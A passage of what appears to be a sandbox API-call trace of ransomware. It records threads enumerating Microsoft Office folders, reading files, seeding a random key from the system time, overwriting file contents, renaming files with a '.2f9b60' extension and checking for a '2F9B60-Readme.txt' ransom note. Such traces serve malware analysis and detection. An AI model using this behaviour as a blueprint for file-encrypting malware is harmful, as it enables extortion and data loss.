BaseAddress=0x2050b460) returned 1 [0122.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae9b0) returned 1 Thread: id = 1398 os_tid = 0x182c [0119.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202af610 [0119.019] wcscpy (in: _Dest=0x202af610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0119.019] wcscat (in: _Dest=0x202af610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0119.019] wcscat (in: _Dest=0x202af610, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*" [0119.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0119.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5620 [0119.185] wcscmp (_String1=".", _String2=".") returned 0 [0119.185] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.185] wcscmp (_String1="..", _String2=".") returned 1 [0119.185] wcscmp (_String1="..", _String2="..") returned 0 [0119.185] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0119.185] wcscmp (_String1="+Connect to New Data Source.odc", _String2=".") returned -1 [0119.185] wcscmp (_String1="+Connect to New Data Source.odc", _String2="..") returned -1 [0119.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118e30 [0119.186] wcscpy (in: _Dest=0x118e30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0119.186] wcscat (in: _Dest=0x118e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0119.186] wcscat (in: _Dest=0x118e30, _Source="+Connect to New Data Source.odc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" [0127.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0127.025] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="_NEWSQ~1.ODC")) returned 1 [0127.025] wcscmp (_String1="+NewSQLServerConnection.odc", _String2=".") returned -1 [0127.025] wcscmp (_String1="+NewSQLServerConnection.odc", _String2="..") returned -1 [0127.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107cc0 [0127.026] wcscpy (in: _Dest=0x107cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" [0127.026] wcscat (in: _Dest=0x107cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0127.026] wcscat (in: _Dest=0x107cc0, _Source="+NewSQLServerConnection.odc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" [0127.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8 [0127.027] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0127.027] wcscmp (_String1="DESKTOP.INI", _String2=".") returned 1 [0127.027] wcscmp (_String1="DESKTOP.INI", _String2="..") returned 1 [0127.027] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0127.027] wcscmp (_String1="FOLDER.ICO", _String2=".") returned 1 [0127.027] wcscmp (_String1="FOLDER.ICO", _String2="..") returned 1 [0127.027] FindNextFileW (in: hFindFile=0x1ced5620, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0127.027] FindClose (in: hFindFile=0x1ced5620 | out: hFindFile=0x1ced5620) returned 1 [0127.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0127.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af610) returned 1 [0127.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aea40) returned 1 Thread: id = 1399 os_tid = 0x1830 [0119.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0119.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL", dwFileAttributes=0x20) returned 1 [0119.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16fc [0119.512] GetFileSizeEx (in: hFile=0x16fc, lpFileSize=0x3eb1f840 | out: lpFileSize=0x3eb1f840*=53144) returned 1 [0119.512] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0xcf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.512] ReadFile (in: hFile=0x16fc, lpBuffer=0x3eb1f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3eb1f808, lpOverlapped=0x0 | out: lpBuffer=0x3eb1f7c0*, lpNumberOfBytesRead=0x3eb1f808*=0x4, lpOverlapped=0x0) returned 1 [0119.537] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860840 [0119.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b70 [0119.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860960 [0119.537] NtQuerySystemTime (in: CurrentTime=0x3eb1f700 | out: CurrentTime=0x3eb1f700*=132462177249478000) returned 0x0 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x103c137d [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x729ba3b5 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x71c5745d [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x532cfb17 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x490539bc [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x707ff071 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x31b479e5 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x561e6463 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x1c2c217f [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x666c8c4d [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x66bc664d [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x27236ba9 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x7de74acf [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x11d9526d [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x13a3fbf2 [0119.537] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x6bbc6303 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x302388be [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x6c88f71b [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x6caf60ac [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x5aa3f7d8 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x26860e78 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x4646ee2c [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x1b51f0da [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x6ed0ac99 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0xcfb3632 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x5bab339c [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x92fc78d [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0xdf65ebf [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x6fc245a2 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x24256037 [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x2ca8f0de [0119.538] RtlRandomEx (in: Seed=0x3eb1f6f0 | out: Seed=0x3eb1f6f0) returned 0x1d48ccdf [0119.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0119.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0119.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0119.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0119.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860960) returned 1 [0119.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860840) returned 1 [0119.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20166910 [0119.545] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.545] ReadFile (in: hFile=0x16fc, lpBuffer=0x20166910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3eb1f760, lpOverlapped=0x0 | out: lpBuffer=0x20166910*, lpNumberOfBytesRead=0x3eb1f760*=0x3c00, lpOverlapped=0x0) returned 1 [0119.568] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0119.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0119.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0119.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0119.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0119.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8609c0) returned 1 [0119.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0119.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0119.569] WriteFile (in: hFile=0x16fc, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3eb1f760, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x3eb1f760*=0x3c00, lpOverlapped=0x0) returned 1 [0119.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0119.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20166910) returned 1 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85fbe0 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0119.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85f4f0 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0119.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0119.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0119.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0119.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0119.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169090 [0119.942] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0119.942] WriteFile (in: hFile=0x16fc, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3eb1f810, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3eb1f810*=0x106, lpOverlapped=0x0) returned 1 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab130 [0122.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab130) returned 1 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab130 [0122.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0122.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0122.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0270 [0122.156] sprintf (in: _Dest=0x1cda0270, _Format="%c%c" | out: _Dest="1f") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0272, _Format="%c%c" | out: _Dest="6b") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0274, _Format="%c%c" | out: _Dest="74") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0276, _Format="%c%c" | out: _Dest="9f") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0278, _Format="%c%c" | out: _Dest="36") returned 2 [0122.156] sprintf (in: _Dest=0x1cda027a, _Format="%c%c" | out: _Dest="f4") returned 2 [0122.156] sprintf (in: _Dest=0x1cda027c, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.156] sprintf (in: _Dest=0x1cda027e, _Format="%c%c" | out: _Dest="0d") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0280, _Format="%c%c" | out: _Dest="da") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0282, _Format="%c%c" | out: _Dest="c4") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0284, _Format="%c%c" | out: _Dest="e3") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0286, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0288, _Format="%c%c" | out: _Dest="aa") returned 2 [0122.156] sprintf (in: _Dest=0x1cda028a, _Format="%c%c" | out: _Dest="4f") returned 2 [0122.156] sprintf (in: _Dest=0x1cda028c, _Format="%c%c" | out: _Dest="61") returned 2 [0122.156] sprintf (in: _Dest=0x1cda028e, _Format="%c%c" | out: _Dest="f6") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0290, _Format="%c%c" | out: _Dest="7f") returned 2 [0122.156] sprintf (in: _Dest=0x1cda0292, _Format="%c%c" | out: _Dest="6b") returned 2 [0122.157] sprintf (in: _Dest=0x1cda0294, _Format="%c%c" | out: _Dest="7a") returned 2 [0122.157] sprintf (in: _Dest=0x1cda0296, _Format="%c%c" | out: _Dest="f4") returned 2 [0122.157] RtlInitAnsiString (in: DestinationString=0x3eb1f888, SourceString="1f6b749f36f4ac0ddac4e3acaa4f61f67f6b7af4" | out: DestinationString="1f6b749f36f4ac0ddac4e3acaa4f61f67f6b7af4") [0122.157] RtlAnsiStringToUnicodeString (in: DestinationString=0x3eb1f858, SourceString="1f6b749f36f4ac0ddac4e3acaa4f61f67f6b7af4", AllocateDestinationString=1 | out: DestinationString="1f6b749f36f4ac0ddac4e3acaa4f61f67f6b7af4") returned 0x0 [0122.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1ced57a0 [0122.157] wcscat (in: _Dest=0x202ae9b0, _Source="1f6b749f36" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36" [0122.157] wcscat (in: _Dest=0x202ae9b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36.2f9b60" [0122.157] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36.2f9b60", NtPathName=0x3eb1f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\1f6b749f36.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65c30 [0122.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65c30) returned 1 [0122.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0122.863] NtQueryInformationFile (in: FileHandle=0x16fc, IoStatusBlock=0x3eb1f898, FileInformation=0x3eb1f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3eb1f898, FileInformation=0x3eb1f8a8) returned 0x0 [0122.863] NtSetInformationFile (FileHandle=0x16fc, IoStatusBlock=0x3eb1f898, FileInformation=0x3eb1f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae9b0) returned 1 [0123.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced57a0) returned 1 [0123.073] FlushFileBuffers (hFile=0x16fc) returned 1 [0123.076] CloseHandle (hObject=0x16fc) returned 1 [0123.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae9b0 [0123.089] wcscpy (in: _Dest=0x202ae9b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0123.089] wcscat (in: _Dest=0x202ae9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0123.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0123.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae9b0) returned 1 [0123.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 Thread: id = 1400 os_tid = 0x1834 [0119.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb")) returned 0x20 [0119.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB", dwFileAttributes=0x20) returned 1 [0119.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17e8 [0119.496] GetFileSizeEx (in: hFile=0x17e8, lpFileSize=0x3ea0fda0 | out: lpFileSize=0x3ea0fda0*=483328) returned 1 [0119.496] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x75ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.496] ReadFile (in: hFile=0x17e8, lpBuffer=0x3ea0fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ea0fd68, lpOverlapped=0x0 | out: lpBuffer=0x3ea0fd20*, lpNumberOfBytesRead=0x3ea0fd68*=0x4, lpOverlapped=0x0) returned 1 [0119.516] SetFilePointerEx (in: hFile=0x17e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0119.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608a0 [0119.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8609c0 [0119.516] NtQuerySystemTime (in: CurrentTime=0x3ea0fc60 | out: CurrentTime=0x3ea0fc60*=132462177249322000) returned 0x0 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x4c4ad534 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x17506ea9 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x1857bfbc [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x27478546 [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: Seed=0x3ea0fc50) returned 0x113e8efc [0119.516] RtlRandomEx (in: Seed=0x3ea0fc50 | out: 